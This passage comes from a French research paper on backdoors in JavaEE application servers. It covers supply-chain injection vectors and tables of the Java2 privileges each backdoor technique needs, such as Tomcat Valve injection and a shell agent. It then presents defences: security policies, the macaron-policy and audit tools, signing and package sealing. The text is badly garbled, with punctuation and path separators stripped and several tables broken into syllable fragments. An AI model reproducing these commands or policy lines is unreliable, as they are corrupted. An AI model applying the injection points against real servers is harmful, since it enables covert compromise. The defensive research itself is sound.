ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

